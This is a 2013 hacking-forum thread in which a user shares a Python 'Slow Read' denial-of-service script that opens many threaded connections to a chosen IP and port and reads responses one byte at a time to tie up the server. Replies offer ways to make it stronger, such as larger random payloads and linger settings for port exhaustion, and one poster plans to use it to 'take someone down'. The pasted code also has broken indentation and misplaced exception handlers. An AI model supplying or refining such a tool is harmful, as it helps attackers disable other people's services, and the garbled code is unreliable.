

Forum:[Hack Forums](#)

Thread: [Python DoS Script](#)

UserName - October 17, 2013, 10:56 am

I have seen lots of DOS Scripts on this forum, but most do not work that well. I have tested this one, and it actually works pretty well with little data traffic. The program works by connecting to its target and sending a request. The program then receives the response ONE character at a time. To make things even worse for the server it has a delay built into it to take things even longer.

This actually works really well because you do not need high volume of traffic, but with more threads, the stronger it will hit. If you want more information about how it works, I have included it as comments at the top of the code.

You can get my code [HERE](#).

Or here (Must do more formatting than pastebin link):

Code `#!/usr/bin/env python`

```
# Created By _UserName_
#
# Will DOS a target by creating connections to it and slowly receiving data from the site, 1 character
at a time.
# This type of attack is called a Slow Read DOS Attack.
# It is better than high volume DOS attacks because it is quieter, and the more connections
(threads) that are made,
# the stronger the attack will be.
#
# More Details:
# Check Out This Site:
http://www.darkreading.com/attacks-breaches/new-denial-of-service-attack-cripples-we/232301367

import socket, threading, time

# Message To Send To The WebServer (RANDOM DATA RIGHT NOW)
MESSAGE = "asdfghjklouytrewqzxcvbnm\r\n"
# Character To Receive Per Delay
BUFFER_LENGTH = 1
# Delay To Wait Between Receives
DELAY = 0
# Number Of Currently Running Threads
runningThreads = 1

##

class DOS(threading.Thread):
    def __init__(self, IP, PORT):
        threading.Thread.__init__(self)
        self.ip = IP
        self.port = PORT
        def run(self):
            slow(self.ip, self.port)
```

```

def slow(ip, port):
    try:
        global runningThreads
        runningThreads += 1

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))

    s.send(MESSAGE)
    while True:
        data = s.recv(BUFFER_LENGTH)
        if not data:
            break
        time.sleep(DELAY)

    runningThreads -= 1

    except socket.error:
        print 'DOWN'
    except Exception, e:
        print e

##

def main():
    try:
        IP = raw_input("TARGET IP:\n> ")
        PORT = int(raw_input("PORT:\n> "))
        T = int(raw_input("THREADS:\n> "))
    except Exception, e:
        print e
    try:
        for i in range(T):
            threads = DOS(IP, PORT)
            threads.start()

    print '[*] Press CTRL + C To Exit'
    print '[*] Running...'

    while True:
        if(runningThreads < T):
            threads = DOS(IP, PORT)
            threads.start()
        except KeyboardInterrupt:
            threads.join()
        except Exception, e:
            print e

if __name__ == '__main__':
    main()
    raw_input("Press [ENTER] To Exit...")Please post your feedback and let me know how it works.
    Might add code to allow for multiple computers to get there target from an IRC channel or website.

```

UserName - October 19, 2013, 2:23 pm

Almost 70 views and no comments??
(space filler)

BeerMonger - October 19, 2013, 10:22 pm

Nice method.. never hear of Slow Read DOS Attack before to be honest!
I'll test it when I'm home!

Johndoe27328 - October 21, 2013, 12:01 pm

Made my own custom one after reading about how it works.

For a more random message I used:

```
Code msg = ".join(random.choice(string.ascii_uppercase + string.lowercase + string.digits) for x in
range(random.randint(1, 10)))
msg += "\r\n"
```

PRODIGY™ - October 21, 2013, 12:02 pm

Effective on a strong dedi or something :P thx for share

UserName - October 21, 2013, 1:01 pm

I could upgrade its capabilities, but I don't want to make the next script kiddy tool like LOIC.

Johndoe27328 - October 21, 2013, 4:17 pm

(Oct 21, 2013 01:01 PM) **_UserName_** Wrote: [\[CITE\]](#) I could upgrade its capabilities, but I don't want to make the next script kiddy tool like LOIC.

As long as it has no gui I don't think they will use it.

UserName - October 22, 2013, 3:25 pm

I have update the script a bit.

I added a simple logo, an actual GET request, and a message that displays total elapsed time the program has been running and whether a site is up or down.

You can get the link [HERE](#).

For any possible improvements to be made with this script post in this thread.

If you use any of my programs please reply in the thread. It helps me to know if a project is worth continuing or if it is finished.

I also might create an ebook on creating hacking apps using the standard python library. If anybody thinks it is a good idea let me know via pm, post, etc.

urpoer101 - October 22, 2013, 5:32 pm

Really nice looking script. Im also using python in my everyday coding, so this is good tool to my library. I'll test it soon as possible to my box and tell the results.

cyberduck - October 25, 2013, 6:21 pm

Nice job! I looked through some of the code and it looks good. I don't actually think you would need that strong of a computer to do damage based on how the DoS script is built. Do you know any C code? If so, I can send you a version of mine that is a little different that might give you a different look at another method!

Asp1r3-At0m - October 27, 2013, 9:40 am

Very nice method man, can I use it on this project? : https://bitbucket.org/Asp1r3_At0m/perezosa

UserName - October 27, 2013, 10:38 am

(Oct 27, 2013 09:40 AM)Asp1r3-At0m Wrote: [\[CITE\]](#) Very nice method man, can I use it on this project? : https://bitbucket.org/Asp1r3_At0m/perezosa

Go for it, just keep my name at the top.

Asp1r3-At0m - October 27, 2013, 3:30 pm

(Oct 27, 2013 10:38 AM)_UserName_ Wrote: [\[CITE\]](#) Go for it, just keep my name at the top. Thanks a lot !?

Obviously, I will put your name there ?

UserName - October 27, 2013, 3:42 pm

(Oct 27, 2013 03:30 PM)Asp1r3-At0m Wrote: [\[CITE\]](#) Thanks a lot !?

Obviously, I will put your name there ?

You would be amazed how many people don't give credit to other people.

Peredur - October 29, 2013, 5:55 am

Lovely project, its nice to see people trying to do pretty much everything in Python.

I would suggest you set the message higher, as 99,99% of the servers can handle 4096 bits at a time.

It would be something like this

```
for i in len(4096):
```

```
    message +=str(random.randint(1,9))
```

It won't bring ALOT to the table, but it will increase power a little, especially when its being run on 100mbit/1gbit servers

UserName - October 29, 2013, 12:30 pm

(Oct 29, 2013 05:55 AM)Hasdrubal Wrote: [\[CITE\]](#) Lovely project, its nice to see people trying to do pretty much everything in Python.

I would suggest you set the message higher, as 99,99% of the servers can handle 4096 bits at a time.

It would be something like this

```
for i in len(4096):
```

```
    message +=str(random.randint(1,9))
```

It won't bring ALOT to the table, but it will increase power a little, especially when its being run on 100mbit/1gbit servers

The message size does not matter. The attack leverages the server's ability to make a thread for each connection. When my program connects, the connection can last up to a minute. In that time I can simulate hundreds of people connecting. This is not like a SYN flood where power of server matters. Or slowloris where you need to keep sending data. So running on a 1gbit server will not do more damage than a laptop. The only thing that matters is the number of running threads.

Peredur - October 29, 2013, 2:58 pm

I understand your point of view, but it does really batter when you send 4096 bits per every thread from 1gbit server to an 100mbit server. It will simply bottleneck it with too much data. If you are going after consuming the victim's ephemeral ports, you will consume yours in the same time. to avoid that, add an on/off switch and a struct to point out the s_linger turned off, and 0 seconds wait time after you start a new connection. That way you might have an advantage.

I'm not saying what you did is wrong, it will work perfectly for what it is intended, I am just remarking some room for improvement.

UserName - *October 29, 2013, 3:57 pm*

I will need to try this out, but I think that it might work. I will need to do a bit of testing before I incorporate it into a future release, but great suggestion.

Does anybody think that recreating this in PHP would be worth it?

K.ing - *October 31, 2013, 5:24 pm*

Needs some victory music when the site goes down.

Nice work op, I'll try this out next time I'm trying to take someone down.